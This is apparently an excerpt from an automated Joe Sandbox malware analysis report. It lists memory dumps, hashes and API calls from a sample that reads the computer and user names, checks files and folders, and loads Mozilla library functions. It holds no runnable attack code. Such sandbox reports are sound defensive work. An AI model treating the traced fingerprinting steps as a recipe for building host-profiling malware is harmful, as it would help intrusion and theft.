Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a28a6ef752d16893676cfe083ff350a7a11351fe0f44bc2ad7b5dc3da14111c5
Instruction ID: 75c1a5af376f550a8c16b0fd29dcea7925e607a1f26abf37f1ea3a0788604443
Opcode Fuzzy Hash: a28a6ef752d16893676cfe083ff350a7a11351fe0f44bc2ad7b5dc3da14111c5
Instruction Fuzzy Hash: D4F0E271681208BBE7149BA4AC49FEEB7E8E705B15F300448F544E3280D5719E40CAA0

Function 00A18D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00A01B54,?,?,00A2564C,?,?,00A20E1F), ref: 00A18D9F

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 66745fb48f8c60ec5f47bcd5de55d3eb67fa9828fbae8a15538e78c67c5fa8ad
Instruction ID: 9c3fdf773a938c53f908cd87761141a70bb1e85568468e89c71058b650590802
Opcode Fuzzy Hash: 66745fb48f8c60ec5f47bcd5de55d3eb67fa9828fbae8a15538e78c67c5fa8ad
Instruction Fuzzy Hash: DFF01574C00208EBDB00EFA4E6496DCBB74EB11360F108199E826672C0DB396A86DB81

Function 00A18DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 4cb5e2fefbb94d4661b6e7bde9e9c0dba4666cff9da0a10c7585a5cfb9e1bc6b
Instruction ID: 057a46ea8c96dd869acade28d454a60e540bbb3d691bde9721e0e3f7330d3f0b
Opcode Fuzzy Hash: 4cb5e2fefbb94d4661b6e7bde9e9c0dba4666cff9da0a10c7585a5cfb9e1bc6b
Instruction Fuzzy Hash: 46E01A35A4034C6BDB91EB90CC96FEE737CEB44B11F004295BA0C9B1C0DE70AB858B91

Function 00A01190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17910
Part of subcall function 00A178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A17917
Part of subcall function 00A178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A1792F

Part of subcall function 00A17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A011B7), ref: 00A17880
Part of subcall function 00A17850: RtlAllocateHeap.NTDLL(00000000), ref: 00A17887
Part of subcall function 00A17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A1789F

ExitProcess.KERNEL32 ref: 00A011C6

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 364d1fe2cba7722777b623b9854c59f32669a5475e7f7d25902a533ec5ba103f
Instruction ID: cb5d90a37870dd3fab3e47bcc6e7af291cf453aac2430188e2ff1bd8e9fc1ff9
Opcode Fuzzy Hash: 364d1fe2cba7722777b623b9854c59f32669a5475e7f7d25902a533ec5ba103f
Instruction Fuzzy Hash: 28E05BB999430557DA1477B0BE0BBAE339C6F15385F040528FE09D2143FE29F8C1C5AA

Non-executed Functions

Function 6C5D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D54BE
__Init_thread_footer.LIBCMT ref: 6C5D54DB

Part of subcall function 6C5FAB3F: EnterCriticalSection.KERNEL32(6C64E370,?,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB49
Part of subcall function 6C5FAB3F: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FAB7C

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5D5516
GetCurrentThreadId.KERNEL32 ref: 6C5D556A
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5D55E6
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D5616

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

GetCurrentThreadId.KERNEL32 ref: 6C5D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5D567C
free.MOZGLUE(?), ref: 6C5D56AE

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5D56E8
GetCurrentThreadId.KERNEL32 ref: 6C5D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5D5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5D57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5D57CA

Strings

- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5D5D1C
MOZ_BASE_PROFILER_HELP, xrefs: 6C5D5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5D5AC9
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D54B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5D5CF9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5D5766
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5D5B38
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5D5D24
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5D5749
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5D5D2B
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5D56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5D5D01
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5D57C5
MOZ_PROFILER_STARTUP, xrefs: 6C5D55E1
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5D5791
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5D5717
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5D5BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D548D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D54A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5D57AE
[I %d/%d] profiler_init, xrefs: 6C5D564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5D5C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5D5724
GeckoMain, xrefs: 6C5D5554, 6C5D55D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5D584E

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction ID: 6d534aad34216bea5e323c1b59cbc5a2f3897b68fd067874a262c6bfcb87a6bf
Opcode Fuzzy Hash: a6d8e54d32423c77efea8af4f0bc62ad6c7fad9c62d0ded39dadd698d90c9a05
Instruction Fuzzy Hash: 412206B0A047009FE700AF79C84466A77B1EF8734CF95C929E94697B41EB31A849CB5F

Function 6C5D6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5D6D26

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5D6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5D6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5D6D73
free.MOZGLUE(00000000), ref: 6C5D6D80
CertGetNameStringW.CRYPT32 ref: 6C5D6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5D6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5D6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5D6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5D6E34
CreateFileW.KERNEL32 ref: 6C5D6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5D6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5D6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5D709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5D7103
free.MOZGLUE(00000000), ref: 6C5D7153
CloseHandle.KERNEL32(?), ref: 6C5D7176
__Init_thread_footer.LIBCMT ref: 6C5D7209
__Init_thread_footer.LIBCMT ref: 6C5D723A
__Init_thread_footer.LIBCMT ref: 6C5D726B
__Init_thread_footer.LIBCMT ref: 6C5D729C
__Init_thread_footer.LIBCMT ref: 6C5D72DC
__Init_thread_footer.LIBCMT ref: 6C5D730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5D73C2
VerSetConditionMask.NTDLL ref: 6C5D73F3
VerSetConditionMask.NTDLL ref: 6C5D73FF
VerSetConditionMask.NTDLL ref: 6C5D7406
VerSetConditionMask.NTDLL ref: 6C5D740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5D741A
moz_xmalloc.MOZGLUE(?), ref: 6C5D755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5D7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C5D7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C5D7598
free.MOZGLUE(00000000), ref: 6C5D75AC

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

Strings

SHA256, xrefs: 6C5D6EC0
wintrust.dll, xrefs: 6C5D72CD
(, xrefs: 6C5D768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C5D72C8

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction ID: 81113f8a6a90282bad42426eae7ddacb497895df6557e70750323d540c3c5d40
Opcode Fuzzy Hash: d9d1611bc70b2b67f2b808a7ba8d910240d395b0a1d3a1e161b42ec0584c6240
Instruction Fuzzy Hash: 5652F771A003159FEB21DF29CC84BAA77B8EF85708F118599E9099B640DB30BF85CF59

Function 6C600DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C600F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C600F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C600FB7
EnterCriticalSection.KERNEL32(?), ref: 6C600FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C601031
LeaveCriticalSection.KERNEL32(?), ref: 6C6010D0
EnterCriticalSection.KERNEL32(?), ref: 6C60117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C601C39
EnterCriticalSection.KERNEL32(6C64E744), ref: 6C603391
LeaveCriticalSection.KERNEL32(6C64E744), ref: 6C6033CD
LeaveCriticalSection.KERNEL32(?), ref: 6C603431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603437

Strings

MOZ_CRASH(), xrefs: 6C603950
<jemalloc>, xrefs: 6C603941, 6C6039F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6037BD
MALLOC_OPTIONS, xrefs: 6C6035FE
Compile-time page size does not divide the runtime one., xrefs: 6C603946
: (malloc) Unsupported character in malloc options: ', xrefs: 6C603A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6037A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C603793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6037D2
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C603559, 6C60382D, 6C603848

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 71bed232386519d6fc572bd20463fdfae1e8c0c3ab8235cc508611e16b233e34
